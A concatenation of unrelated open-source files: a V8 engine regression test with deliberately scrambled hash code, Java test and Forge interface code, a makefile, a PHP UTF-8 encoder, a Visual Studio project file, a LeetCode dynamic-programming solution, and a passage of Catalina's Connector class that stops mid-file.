// Copyright 2015 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // // Flags: --always-opt var __v_0 = ""; var __v_1 = {}; var __v_2 = {}; var __v_3 = {}; var __v_4 = {}; var __v_5 = {}; var __v_6 = {}; var __v_7 = {}; var __v_8 = {}; var __v_10 = {}; var __v_13 = {}; var __v_15 = {}; var __v_16 = /abc/; var __v_17 = {}; var __v_18 = function() {}; var __v_19 = this; var __v_20 = {}; var __v_21 = this; function __f_5(s) { return __f_11(__f_3(__f_7(s), s.length * 8)); } function __f_3(x, len) { var __v_3 = 1732584193; var __v_6 = -271733879; var __v_5 = -1732584194; var __v_7 = 271733892; for (var i = 0; i < 1; i++) { var __v_11 = __v_3; var __v_14 = __v_6; var __v_13 = __v_5; var __v_15 = __v_7; __v_3 = __f_10(__v_3, __v_6, __v_5, __v_7, x[__v_8+ 0], 6 , -198630844); __v_7 = __f_10(__v_7, __v_3, __v_6, __v_5, x[__v_8+ 7], 10, 1126891415); __v_5 = __f_10(__v_5, __v_7, __v_3, __v_6, x[__v_8+14], 15, -1416354905); __v_6 = __f_10(__v_6, __v_5, __v_7, __v_3, x[__v_8+ 5], 21, -57434055); __v_3 = __f_10(__v_3, __v_6, __v_5, __v_7, x[__v_8+12], 6 , 1700485571); __v_7 = __f_10(__v_7, __v_3, __v_6, __v_5, x[__v_8+ 3], 10, -1894986606); __v_5 = __f_10(__v_5, __v_7, __v_3, __v_6, x[__v_8+10], 15, -1051523); __v_6 = __f_10(__v_6, __v_5, __v_7, __v_3, x[__v_8+ 1], 21, -2054922799); __v_3 = __f_10(__v_3, __v_6, __v_5, __v_7, x[__v_8+ 8], 6 , 1873313359); __v_7 = __f_10(__v_7, __v_3, __v_6, __v_5, x[__v_8+15], 10, -30611744); __v_5 = __f_10(__v_5, __v_7, __v_3, __v_6, x[__v_8+ 22], 14, -1560198371); __v_3 = __f_10(__v_3, __v_6, __v_5, __v_7, x[__v_8+ 4], 6 , -145523070); __v_7 = __f_10(__v_7, __v_3, __v_6, __v_5, x[__v_8+11], 10, -1120210379); __v_5 = __f_10(__v_5, __v_7, __v_3, __v_6, x[__v_8+ 2], 15, 718787259); __v_6 = __f_10(__v_13, __v_5, __v_7, __v_3, x[__v_8+ 9], 21, -343485551); __v_3 = __f_6(__v_3, __v_11); __v_6 = __f_6(__v_6, __v_14); __v_5 = __f_6(__v_5, __v_13); __v_7 = __f_6(__v_7, __v_15); } return Array(__v_3, __v_13, __v_4, __v_19); } function __f_4(q, __v_3, __v_6, x, s, t) { return __f_6(__f_12(__f_6(__f_6(__v_3, q), __f_6(x, t)), s),__v_6); } function __f_13(__v_3, __v_6, __v_5, __v_7, x, s, t) { return __f_4((__v_6 & __v_5) | ((~__v_6) & __v_7), __v_3, __v_6, x, s, t); } function __f_8(__v_3, __v_6, __v_5, __v_7, x, s, t) { return __f_4((__v_6 & __v_7) | (__v_5 & (~__v_7)), __v_3, __v_6, x, s, t); } function __f_9(__v_3, __v_6, __v_5, __v_7, x, s, t) { return __f_4(__v_6 ^ __v_5 ^ __v_7, __v_3, __v_6, x, s, t); } function __f_10(__v_3, __v_6, __v_5, __v_7, x, s, t) { return __f_4(__v_5 ^ (__v_6 | (~__v_7)), __v_3, __v_6, x, s, t); } function __f_6(x, y) { var __v_12 = (x & 0xFFFF) + (y & 0xFFFF); var __v_18 = (x >> 16) + (y >> 16) + (__v_12 >> 16); return (__v_18 << 16) | (__v_12 & 0xFFFF); } function __f_12(num, cnt) { return (num << cnt) | (num >>> (32 - cnt)); } function __f_7(__v_16) { var __v_4 = Array(); var __v_9 = (1 << 8) - 1; for(var __v_8 = 0; __v_8 < __v_16.length * 8; __v_8 += 8) __v_4[__v_8>>5] |= (__v_16.charCodeAt(__v_8 / 8) & __v_9) << (__v_8%32); return __v_4; } function __f_11(binarray) { return __v_16; } try { __v_10 = "Rebellious subjects, enemies to peace,\n\ Profaners of this neighbour-stained steel,--\n\ Will they not hear? What, ho! you men, you beasts,\n\ That quench the fire of your pernicious rage\n\ With purple fountains issuing from your veins,\n\ On pain of torture, from those bloody hands\n\ Throw your mistemper'__v_7 weapons to the ground,\n\ And hear the sentence of your moved prince.\n\ Three civil brawls, bred of an airy word,\n\ By thee, old Capulet, and Montague,\n\ Have thrice disturb'__v_7 the quiet of our streets,\n\ And made Verona's ancient citizens\n\ Cast by their grave beseeming ornaments,\n\ To wield old partisans, in hands as old,\n\ Canker'__v_7 with peace, to part your canker'__v_7 hate:\n\ If ever you disturb our streets again,\n\ Your lives shall pay the forfeit of the peace.\n\ For this time, all the rest depart away:\n\ You Capulet; shall go along with me:\n\ And, Montague, come you this afternoon,\n\ To know our further pleasure in this case,\n\ To old Free-town, our common judgment-place.\n\ Once more, on pain of death, all men depart.\n" function assertEquals(a, b) { } for (var __v_8 = 0; __v_8 < 11; ++__v_8) { assertEquals(__f_5(__v_10), "1b8719c72d5d8bfd06e096ef6c6288c5"); } } catch(e) { print("Caught: " + e); }
{ "pile_set_name": "Github" }
a3a0a16e4c17c7f12798a4a18b5fbd5f5cb7143d9f951ff2cad1aa0aee411a2844a220bb5dcda4a825424690d91ca7d822e3969de5ef18f15719d353f3e1fecb
{ "pile_set_name": "Github" }
package org.wikidata.query.rdf.test; import java.io.Closeable; /** * Used to set system properties in a specific test context and reset them afterward. */ public final class SystemPropertyContext implements Closeable { private final String key; private final String value; private SystemPropertyContext(String key, String value) { this.key = key; this.value = value; } /** * Set a system property. * * The returned Closable should be used in a try-with-resources block to ensure state is cleaned up. */ public static Closeable setProperty(String key, String value) { String currentValue = System.getProperty(key); setOrClearProperty(key, value); return new SystemPropertyContext(key, currentValue); } /** * Reset a system property to its previous state. */ @Override public void close() { setOrClearProperty(key, value); } private static void setOrClearProperty(String key, String value) { if (value == null) System.clearProperty(key); else System.setProperty(key, value); } }
{ "pile_set_name": "Github" }
#! gmake # # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. ####################################################################### # (1) Include initial platform-independent assignments (MANDATORY). # ####################################################################### include manifest.mn ####################################################################### # (2) Include "global" configuration information. (OPTIONAL) # ####################################################################### include $(CORE_DEPTH)/coreconf/config.mk ####################################################################### # (3) Include "component" configuration information. (OPTIONAL) # ####################################################################### ####################################################################### # (4) Include "local" platform-dependent assignments (OPTIONAL). # ####################################################################### include config.mk ####################################################################### # (5) Execute "global" rules. (OPTIONAL) # ####################################################################### include $(CORE_DEPTH)/coreconf/rules.mk ####################################################################### # (6) Execute "component" rules. (OPTIONAL) # ####################################################################### ####################################################################### # (7) Execute "local" rules. (OPTIONAL). # ####################################################################### export:: private_export
{ "pile_set_name": "Github" }
<?php defined('SYSPATH') OR die('No direct access allowed.'); /** * utf8::from_unicode * * @package Core * @author Kohana Team * @copyright (c) 2007 Kohana Team * @copyright (c) 2005 Harry Fuecks * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt */ function _from_unicode($arr) { ob_start(); $keys = array_keys($arr); foreach ($keys as $k) { // ASCII range (including control chars) if (($arr[$k] >= 0) AND ($arr[$k] <= 0x007f)) { echo chr($arr[$k]); } // 2 byte sequence elseif ($arr[$k] <= 0x07ff) { echo chr(0xc0 | ($arr[$k] >> 6)); echo chr(0x80 | ($arr[$k] & 0x003f)); } // Byte order mark (skip) elseif ($arr[$k] == 0xFEFF) { // nop -- zap the BOM } // Test for illegal surrogates elseif ($arr[$k] >= 0xD800 AND $arr[$k] <= 0xDFFF) { // Found a surrogate trigger_error('utf8::from_unicode: Illegal surrogate at index: '.$k.', value: '.$arr[$k], E_USER_WARNING); return FALSE; } // 3 byte sequence elseif ($arr[$k] <= 0xffff) { echo chr(0xe0 | ($arr[$k] >> 12)); echo chr(0x80 | (($arr[$k] >> 6) & 0x003f)); echo chr(0x80 | ($arr[$k] & 0x003f)); } // 4 byte sequence elseif ($arr[$k] <= 0x10ffff) { echo chr(0xf0 | ($arr[$k] >> 18)); echo chr(0x80 | (($arr[$k] >> 12) & 0x3f)); echo chr(0x80 | (($arr[$k] >> 6) & 0x3f)); echo chr(0x80 | ($arr[$k] & 0x3f)); } // Out of range else { trigger_error('utf8::from_unicode: Codepoint out of Unicode range at index: '.$k.', value: '.$arr[$k], E_USER_WARNING); return FALSE; } } $result = ob_get_contents(); ob_end_clean(); return $result; }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="Windows-1252"?> <VisualStudioProject ProjectType="Visual C++" Version="7.10" Name="imagehl" ProjectGUID="{15DEA3EA-9386-49C7-80C6-5B090DE1D536}" Keyword="Win32Proj"> <Platforms> <Platform Name="Win32"/> </Platforms> <Configurations> <Configuration Name="Debug|Win32" OutputDirectory="Debug" IntermediateDirectory="Debug" ConfigurationType="2" CharacterSet="2"> <Tool Name="VCCLCompilerTool" Optimization="0" AdditionalIncludeDirectories="../../include;../../libs;&quot;../../../STLPort-4.6/stlport&quot;;&quot;../../../gtk2-2.4/include/glib-2.0&quot;;&quot;../../../gtk2-2.4/lib/glib-2.0/include&quot;" PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;IMAGEHL_EXPORTS" StringPooling="TRUE" MinimalRebuild="TRUE" ExceptionHandling="FALSE" BasicRuntimeChecks="0" RuntimeLibrary="3" BufferSecurityCheck="FALSE" ForceConformanceInForLoopScope="TRUE" UsePrecompiledHeader="0" BrowseInformation="0" WarningLevel="3" Detect64BitPortabilityProblems="TRUE" DebugInformationFormat="3" DisableSpecificWarnings="4610;4510;4512;4505;4100;4127"/> <Tool Name="VCCustomBuildTool"/> <Tool Name="VCLinkerTool" OutputFile="$(OutDir)/imagehl.dll" LinkIncremental="1" AdditionalLibraryDirectories="" IgnoreDefaultLibraryNames="msvcprtd.lib" ModuleDefinitionFile="$(ProjectName).def" GenerateDebugInformation="TRUE" ProgramDatabaseFile="$(OutDir)/imagehl.pdb" SubSystem="2" ImportLibrary="$(OutDir)/imagehl.lib" TargetMachine="1"/> <Tool Name="VCMIDLTool"/> <Tool Name="VCPostBuildEventTool" CommandLine="copy &quot;$(TargetPath)&quot; &quot;$(SolutionDir)install\modules\&quot; copy &quot;$(TargetDir)$(TargetName).pdb&quot; &quot;$(SolutionDir)install\modules\&quot;"/> <Tool Name="VCPreBuildEventTool"/> <Tool Name="VCPreLinkEventTool"/> <Tool Name="VCResourceCompilerTool"/> <Tool Name="VCWebServiceProxyGeneratorTool"/> <Tool Name="VCXMLDataGeneratorTool"/> <Tool Name="VCWebDeploymentTool"/> <Tool Name="VCManagedWrapperGeneratorTool"/> <Tool Name="VCAuxiliaryManagedWrapperGeneratorTool"/> </Configuration> <Configuration Name="Release|Win32" OutputDirectory="Release" IntermediateDirectory="Release" ConfigurationType="2" CharacterSet="2" WholeProgramOptimization="TRUE"> <Tool Name="VCCLCompilerTool" GlobalOptimizations="TRUE" InlineFunctionExpansion="2" EnableIntrinsicFunctions="TRUE" FavorSizeOrSpeed="1" OptimizeForWindowsApplication="FALSE" AdditionalIncludeDirectories="../../include;../../libs;&quot;../../../STLPort-4.6/stlport&quot;;&quot;../../../gtk2-2.4/include/glib-2.0&quot;;&quot;../../../gtk2-2.4/lib/glib-2.0/include&quot;" PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;IMAGEHL_EXPORTS" StringPooling="TRUE" ExceptionHandling="FALSE" RuntimeLibrary="2" BufferSecurityCheck="FALSE" ForceConformanceInForLoopScope="TRUE" UsePrecompiledHeader="0" WarningLevel="4" Detect64BitPortabilityProblems="TRUE" DebugInformationFormat="3" DisableSpecificWarnings="4610;4510;4512;4505;4100;4127"/> <Tool Name="VCCustomBuildTool"/> <Tool Name="VCLinkerTool" OutputFile="$(OutDir)/imagehl.dll" LinkIncremental="1" AdditionalLibraryDirectories="" IgnoreDefaultLibraryNames="msvcprt.lib" ModuleDefinitionFile="$(ProjectName).def" GenerateDebugInformation="TRUE" SubSystem="2" OptimizeReferences="2" EnableCOMDATFolding="2" ImportLibrary="$(OutDir)/imagehl.lib" TargetMachine="1" FixedBaseAddress="0"/> <Tool Name="VCMIDLTool"/> <Tool Name="VCPostBuildEventTool" CommandLine="copy &quot;$(TargetPath)&quot; &quot;$(SolutionDir)install\modules\&quot; copy &quot;$(TargetDir)$(TargetName).pdb&quot; &quot;$(SolutionDir)install\modules\&quot;"/> <Tool Name="VCPreBuildEventTool"/> <Tool Name="VCPreLinkEventTool"/> <Tool Name="VCResourceCompilerTool"/> <Tool Name="VCWebServiceProxyGeneratorTool"/> <Tool Name="VCXMLDataGeneratorTool"/> <Tool Name="VCWebDeploymentTool"/> <Tool Name="VCManagedWrapperGeneratorTool"/> <Tool Name="VCAuxiliaryManagedWrapperGeneratorTool"/> </Configuration> </Configurations> <References> </References> <Files> <Filter Name="src" Filter=""> <File RelativePath=".\imagehl.cpp"> </File> <File RelativePath=".\imagehl.h"> </File> <Filter Name="modules" Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx" UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"> <File RelativePath=".\hlw.cpp"> </File> <File RelativePath=".\hlw.h"> </File> <File RelativePath=".\mip.cpp"> </File> <File RelativePath=".\mip.h"> </File> <File RelativePath=".\sprite.cpp"> </File> <File RelativePath=".\sprite.h"> </File> </Filter> </Filter> <File RelativePath="..\..\debug.py"> <FileConfiguration Name="Debug|Win32"> <Tool Name="VCCustomBuildTool" CommandLine="python &quot;$(SolutionDir)debug.py&quot; " AdditionalDependencies="&quot;$(SolutionDir)install\modules\$(TargetName).pdb&quot;" Outputs="&quot;$(TargetDir)$(TargetName).pdb&quot;"/> </FileConfiguration> <FileConfiguration Name="Release|Win32"> <Tool Name="VCCustomBuildTool" CommandLine="python &quot;$(SolutionDir)debug.py&quot; " AdditionalDependencies="&quot;$(SolutionDir)install\modules\$(TargetName).pdb&quot;" Outputs="&quot;$(TargetDir)$(TargetName).pdb&quot;"/> </FileConfiguration> </File> <File RelativePath=".\imagehl.def"> <FileConfiguration Name="Debug|Win32"> <Tool Name="VCCustomBuildTool" CommandLine="python &quot;$(SolutionDir)touch.py&quot; &quot;$(TargetPath)&quot; " AdditionalDependencies="&quot;$(SolutionDir)install\modules\$(TargetFileName)&quot;" Outputs="&quot;$(TargetPath)&quot;"/> </FileConfiguration> <FileConfiguration Name="Release|Win32"> <Tool Name="VCCustomBuildTool" CommandLine="python &quot;$(SolutionDir)touch.py&quot; &quot;$(TargetPath)&quot; " AdditionalDependencies="&quot;$(SolutionDir)install\modules\$(TargetFileName)&quot;" Outputs="&quot;$(TargetPath)&quot;"/> </FileConfiguration> </File> </Files> <Globals> </Globals> </VisualStudioProject>
{ "pile_set_name": "Github" }
/** * DP,每天的股票可以保留、卖出、或买入。第一次买入股票的利润影响第一次卖出股票的利润,第一次卖出股票的利润影响第二次买入股票的利润, * 第二次买入股票的利润影响第二次卖出股票的利润,所以最后返回的secondsell就是最终结果 * firstSell表示第一次不持有股票的最大利润, * firstHold表示第一次持有股票的最大利润, * secondSell表示第二次不持有股票的最大利润 * secondHold表示第二次持有股票的最大利润, */ class Solution { public int maxProfit(int[] prices) { int n = prices.length; if (n == 0) return 0; int firstSell = 0, firstHold = -prices[0], secondSell = 0, secondHold = -prices[0]; for (int i = 1; i < prices.length; i++) { //保留或卖出 firstSell = Math.max(firstSell, firstHold + prices[i]); //保留或第一次买入 firstHold = Math.max(firstHold, -prices[i]); //第二次持有股票可能是第i-1天没有股票今天买入,或者是第i-1天有股票,保留状态 secondHold = Math.max(secondHold, firstSell - prices[i]); //第二次不持有股票可能是第i-1天有股票,今天卖出;或是第i-1天无股票,保留状态 secondSell = Math.max(secondSell, secondHold + prices[i]); } return secondSell; } } public class $123_BestTimeToBuyAndSellStockIII { }
{ "pile_set_name": "Github" }
/* * Minecraft Forge * Copyright (c) 2016-2020. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation version 2.1 * of the License. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ package net.minecraftforge.common.extensions; import net.minecraft.block.AbstractBlock; import net.minecraft.block.BlockState; import net.minecraft.entity.item.minecart.AbstractMinecartEntity; import net.minecraft.state.properties.RailShape; import net.minecraft.util.math.BlockPos; import net.minecraft.world.IBlockReader; import net.minecraft.world.World; import javax.annotation.Nullable; public interface IAbstractRailBlock { default AbstractBlock getAbstractBlock() { return (AbstractBlock)this; } /** * Return true if the rail can make corners. * Used by placement logic. * @param world The world. * @param pos Block's position in world * @return True if the rail can make corners. */ boolean isFlexibleRail(BlockState state, IBlockReader world, BlockPos pos); /** * Returns true if the rail can make up and down slopes. * Used by placement logic. * @param world The world. * @param pos Block's position in world * @return True if the rail can make slopes. */ default boolean canMakeSlopes(BlockState state, IBlockReader world, BlockPos pos) { return true; } /** * Return the rail's direction. * Can be used to make the cart think the rail is a different shape, * for example when making diamond junctions or switches. * The cart parameter will often be null unless it it called from EntityMinecart. * * @param world The world. * @param pos Block's position in world * @param state The BlockState * @param cart The cart asking for the metadata, null if it is not called by EntityMinecart. * @return The direction. */ RailShape getRailDirection(BlockState state, IBlockReader world, BlockPos pos, @Nullable AbstractMinecartEntity cart); /** * Returns the max speed of the rail at the specified position. * @param world The world. * @param cart The cart on the rail, may be null. * @param pos Block's position in world * @return The max speed of the current rail. */ default float getRailMaxSpeed(BlockState state, World world, BlockPos pos, net.minecraft.entity.item.minecart.AbstractMinecartEntity cart) { return 0.4f; } /** * This function is called by any minecart that passes over this rail. * It is called once per update tick that the minecart is on the rail. * @param world The world. * @param cart The cart on the rail. * @param pos Block's position in world */ default void onMinecartPass(BlockState state, World world, BlockPos pos, net.minecraft.entity.item.minecart.AbstractMinecartEntity cart){} }
{ "pile_set_name": "Github" }
/* * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER. * * Copyright (c) 1997-2016 Oracle and/or its affiliates. All rights reserved. * * The contents of this file are subject to the terms of either the GNU * General Public License Version 2 only ("GPL") or the Common Development * and Distribution License("CDDL") (collectively, the "License"). You * may not use this file except in compliance with the License. You can * obtain a copy of the License at * https://glassfish.dev.java.net/public/CDDL+GPL_1_1.html * or packager/legal/LICENSE.txt. See the License for the specific * language governing permissions and limitations under the License. * * When distributing the software, include this License Header Notice in each * file and include the License file at packager/legal/LICENSE.txt. * * GPL Classpath Exception: * Oracle designates this particular file as subject to the "Classpath" * exception as provided by Oracle in the GPL Version 2 section of the License * file that accompanied this code. * * Modifications: * If applicable, add the following below the License Header, with the fields * enclosed by brackets [] replaced by your own identifying information: * "Portions Copyright [year] [name of copyright owner]" * * Contributor(s): * If you wish your version of this file to be governed by only the CDDL or * only the GPL Version 2, indicate your decision by adding "[Contributor] * elects to include this software in this distribution under the [CDDL or GPL * Version 2] license." If you don't indicate a single choice of license, a * recipient has the option to distribute your version of this file under * either the CDDL, the GPL Version 2 or to extend the choice of license to * its licensees as provided above. However, if you add GPL Version 2 code * and therefore, elected the GPL Version 2 license, then the option applies * only if the new code is made subject to such option by the copyright * holder. * * * This file incorporates work covered by the following copyright and * permission notice: * * Copyright 2004 The Apache Software Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ // Portions Copyright [2017-2019] [Payara Foundation and/or its affiliates] package org.apache.catalina.connector; import java.lang.reflect.Constructor; import java.net.URLEncoder; import java.nio.charset.Charset; import java.security.cert.X509Certificate; import java.text.MessageFormat; import java.util.*; import java.util.logging.Level; import java.util.logging.Logger; import javax.management.MalformedObjectNameException; import javax.management.ObjectName; import javax.servlet.http.HttpServletRequest; import com.sun.appserv.ProxyHandler; import org.apache.catalina.Container; import org.apache.catalina.Context; import org.apache.catalina.Globals; import org.apache.catalina.Host; import org.apache.catalina.Lifecycle; import org.apache.catalina.LifecycleException; import org.apache.catalina.LifecycleListener; import org.apache.catalina.LogFacade; import org.apache.catalina.Service; import org.apache.catalina.core.StandardEngine; import org.apache.catalina.net.ServerSocketFactory; import org.apache.catalina.util.LifecycleSupport; import org.glassfish.grizzly.http.server.HttpHandler; import org.glassfish.web.util.IntrospectionUtils; import org.glassfish.grizzly.http.server.util.Mapper; /** * Implementation of a Coyote connector for Tomcat 5.x. * * @author Craig R. McClanahan * @author Remy Maucherat * @version $Revision: 1.23 $ $Date: 2007/07/09 20:46:45 $ */ public class Connector implements org.apache.catalina.Connector, Lifecycle { private static final Logger log = LogFacade.getLogger(); private static final ResourceBundle rb = log.getResourceBundle(); // ---------------------------------------------- Adapter Configuration --// // START SJSAS 6363251 /** * Coyote Adapter class name. * Defaults to the CoyoteAdapter. */ private final String defaultClassName = "org.apache.catalina.connector.CoyoteAdapter"; // END SJSAS 6363251 // ----------------------------------------------------- Instance Variables /** * Holder for our configured properties. */ private final Map<String, String> properties = new HashMap<String, String>(); /** * The <code>Service</code> we are associated with (if any). */ private Service service = null; /** * The accept count for this Connector. */ private int acceptCount = 10; /** * The IP address on which to bind, if any. If <code>null</code>, all * addresses on the server will be bound. */ private String address = null; /** * Do we allow TRACE ? */ private boolean allowTrace = true; /** * The input buffer size we should create on input streams. */ private int bufferSize = 4096; /** * The Container used for processing requests received by this Connector. */ protected Container container = null; /** * Compression value. */ private String compression = "off"; /** * The debugging detail level for this component. */ private int debug = 0; /** * The "enable DNS lookups" flag for this Connector. */ private boolean enableLookups = false; /** * The server socket factory for this component. */ private ServerSocketFactory factory = null; /** * Maximum size of a HTTP header. 4KB is the default. */ private int maxHttpHeaderSize = 4 * 1024; /* * Is generation of X-Powered-By response header enabled/disabled? */ private boolean xpoweredBy; private boolean serverHeader; /* * Is generation of X-Frame-Options response header enabled/disabled? */ private boolean xframeOptions; /** * Descriptive information about this Connector implementation. */ private static final String info = "org.apache.catalina.connector.Connector/2.0"; /** * The lifecycle event support for this component. */ protected LifecycleSupport lifecycle = new LifecycleSupport(this); /** * The minimum number of processors to start at initialization time. */ protected int minProcessors = 5; /** * The maximum number of processors allowed, or <0 for unlimited. */ private int maxProcessors = 20; /** * Linger value on the incoming connection. * Note : a value inferior to 0 means no linger. */ private int connectionLinger = Constants.DEFAULT_CONNECTION_LINGER; /** * Timeout value on the incoming connection. * Note : a value of 0 means no timeout. */ private int connectionTimeout = Constants.DEFAULT_CONNECTION_TIMEOUT; /** * Timeout value on the incoming connection during request processing. * Note : a value of 0 means no timeout. */ private int connectionUploadTimeout = Constants.DEFAULT_CONNECTION_UPLOAD_TIMEOUT; /** * Timeout value on the server socket. * Note : a value of 0 means no timeout. */ private int serverSocketTimeout = Constants.DEFAULT_SERVER_SOCKET_TIMEOUT; /** * The port number on which we listen for requests. */ private int port = 8080; /** * The server name to which we should pretend requests to this Connector * were directed. This is useful when operating Tomcat behind a proxy * server, so that redirects get constructed accurately. If not specified, * the server name included in the <code>Host</code> header is used. */ private String proxyName = null; /** * The server port to which we should pretend requests to this Connector * were directed. This is useful when operating Tomcat behind a proxy * server, so that redirects get constructed accurately. If not specified, * the port number specified by the <code>port</code> property is used. */ private int proxyPort = 0; /** * The redirect port for non-SSL to SSL redirects. */ private int redirectPort = 443; // BEGIN S1AS 5000999 /** * The default host. */ private String defaultHost; // END S1AS 5000999 /** * The request scheme that will be set on all requests received * through this connector. */ private String scheme = "http"; /** * The secure connection flag that will be set on all requests received * through this connector. */ private boolean secure = false; // START SJSAS 6439313 /** * The blocking connection flag that will be set on all requests received * through this connector. */ private boolean blocking = false; // END SJSAS 6439313 /** For jk, do tomcat authentication if true, trust server if false */ private boolean tomcatAuthentication = true; /** * Flag to disable setting a seperate time-out for uploads. * If <code>true</code>, then the <code>timeout</code> parameter is * ignored. If <code>false</code>, then the <code>timeout</code> * parameter is used to control uploads. */ private boolean disableUploadTimeout = true; /** * Maximum number of Keep-Alive requests to honor per connection. */ private int maxKeepAliveRequests = 100; /** * Maximum size of a POST which will be automatically parsed by the * container. 2MB by default. */ private int maxPostSize = 2 * 1024 * 1024; /** * Maximum size of a POST which will be saved by the container * during authentication. 4kB by default */ protected int maxSavePostSize = 4 * 1024; /** * Has this component been initialized yet? */ protected boolean initialized = false; /** * Has this component been started yet? */ private boolean started = false; /** * The shutdown signal to our background thread */ private boolean stopped = false; /** * The background thread. */ private Thread thread = null; /** * Use TCP no delay ? */ private boolean tcpNoDelay = true; /** * Coyote Protocol handler class name. * Defaults to the Coyote HTTP/1.1 protocolHandler. */ private String protocolHandlerClassName = "com.sun.enterprise.web.connector.grizzly.CoyoteConnectorLauncher"; /** * Coyote protocol handler. */ private ProtocolHandler protocolHandler = null; private String instanceName; /** * The name of this Connector */ private String name; private HttpHandler handler = null; /** * Mapper. */ protected Mapper mapper; /** * URI encoding. */ /* GlassFish Issue 2339 private String uriEncoding = null; */ // START GlassFish Issue 2339 private String uriEncoding = "UTF-8"; // END GlassFish Issue 2339 // START SJSAS 6331392 private boolean enabled = true; // END SJSAS 6331392 // START S1AS 6188932 /** * Flag indicating whether this connector is receiving its requests from * a trusted intermediate server */ protected boolean authPassthroughEnabled = false; protected ProxyHandler proxyHandler = null; // END S1AS 6188932 /** * The <code>SelectorThread</code> implementation class. */ private String selectorThreadImpl = null; private String jvmRoute; // ------------------------------------------------------------- Properties /** * Return a configured property. */ public String getProperty(String name) { return properties.get(name); } /** * Set a configured property. */ public void setProperty(String name, String value) { properties.put(name, value); } /** * remove a configured property. */ public void removeProperty(String name) { properties.remove(name); } /** * Return the <code>Service</code> with which we are associated (if any). */ @Override public Service getService() { return service; } /** * Set the <code>Service</code> with which we are associated (if any). * * @param service The service that owns this Engine */ @Override public void setService(Service service) { this.service = service; } /** * Get the value of compression. */ public String getCompression() { return compression; } /** * Set the value of compression. * * @param compression The new compression value, which can be "on", "off" * or "force" */ public void setCompression(String compression) { this.compression = compression; setProperty("compression", compression); } /** * Return the connection linger for this Connector. */ public int getConnectionLinger() { return connectionLinger; } /** * Set the connection linger for this Connector. * * @param connectionLinger The new connection linger */ public void setConnectionLinger(int connectionLinger) { this.connectionLinger = connectionLinger; setProperty("soLinger", String.valueOf(connectionLinger)); } /** * Return the connection timeout for this Connector. */ public int getConnectionTimeout() { return connectionTimeout; } /** * Set the connection timeout for this Connector. * * @param connectionTimeout The new connection timeout */ public void setConnectionTimeout(int connectionTimeout) { this.connectionTimeout = connectionTimeout; setProperty("soTimeout", String.valueOf(connectionTimeout)); } /** * Return the connection upload timeout for this Connector. */ public int getConnectionUploadTimeout() { return connectionUploadTimeout; } /** * Set the connection upload timeout for this Connector. * * @param connectionUploadTimeout The new connection upload timeout */ public void setConnectionUploadTimeout(int connectionUploadTimeout) { this.connectionUploadTimeout = connectionUploadTimeout; setProperty("timeout", String.valueOf(connectionUploadTimeout)); } /** * Return the server socket timeout for this Connector. */ public int getServerSocketTimeout() { return serverSocketTimeout; } /** * Set the server socket timeout for this Connector. * * @param serverSocketTimeout The new server socket timeout */ public void setServerSocketTimeout(int serverSocketTimeout) { this.serverSocketTimeout = serverSocketTimeout; setProperty("serverSoTimeout", String.valueOf(serverSocketTimeout)); } /** * Return the accept count for this Connector. */ public int getAcceptCount() { return acceptCount; } /** * Set the accept count for this Connector. * * @param count The new accept count */ public void setAcceptCount(int count) { this.acceptCount = count; setProperty("backlog", String.valueOf(count)); } /** * Return the bind IP address for this Connector. */ public String getAddress() { return address; } /** * Set the bind IP address for this Connector. * * @param address The bind IP address */ public void setAddress(String address) { this.address = address; setProperty("address", address); } /** * True if the TRACE method is allowed. Default value is "false". */ public boolean getAllowTrace() { return allowTrace; } /** * Set the allowTrace flag, to disable or enable the TRACE HTTP method. * * @param allowTrace The new allowTrace flag */ public void setAllowTrace(boolean allowTrace) { this.allowTrace = allowTrace; setProperty("allowTrace", String.valueOf(allowTrace)); } /** * Is this connector available for processing requests? */ public boolean isAvailable() { return started; } /** * Return the input buffer size for this Connector. */ public int getBufferSize() { return bufferSize; } /** * Set the input buffer size for this Connector. * * @param bufferSize The new input buffer size. */ public void setBufferSize(int bufferSize) { this.bufferSize = bufferSize; setProperty("bufferSize", String.valueOf(bufferSize)); } /** * Return the Container used for processing requests received by this * Connector. */ @Override public Container getContainer() { return container; } /** * Set the Container used for processing requests received by this * Connector. * * @param container The new Container to use */ @Override public void setContainer(Container container) { this.container = container; } /** * Return the debugging detail level for this component. */ public int getDebug() { return debug; } /** * Set the debugging detail level for this component. * * @param debug The new debugging detail level */ public void setDebug(int debug) { this.debug = debug; } /** * Return the "enable DNS lookups" flag. */ @Override public boolean getEnableLookups() { return enableLookups; } /** * Set the "enable DNS lookups" flag. * * @param enableLookups The new "enable DNS lookups" flag value */ @Override public void setEnableLookups(boolean enableLookups) { this.enableLookups = enableLookups; setProperty("enableLookups", String.valueOf(enableLookups)); } /** * Return the server socket factory used by this Container. */ @Override public ServerSocketFactory getFactory() { return factory; } /** * Set the server socket factory used by this Container. * * @param factory The new server socket factory */ @Override public void setFactory(ServerSocketFactory factory) { this.factory = factory; } /** * Return descriptive information about this Connector implementation. */ @Override public String getInfo() { return info; } /** * Return the mapper. */ public Mapper getMapper() { return mapper; } /** * Set the {@link Mapper}. * @param mapper */ 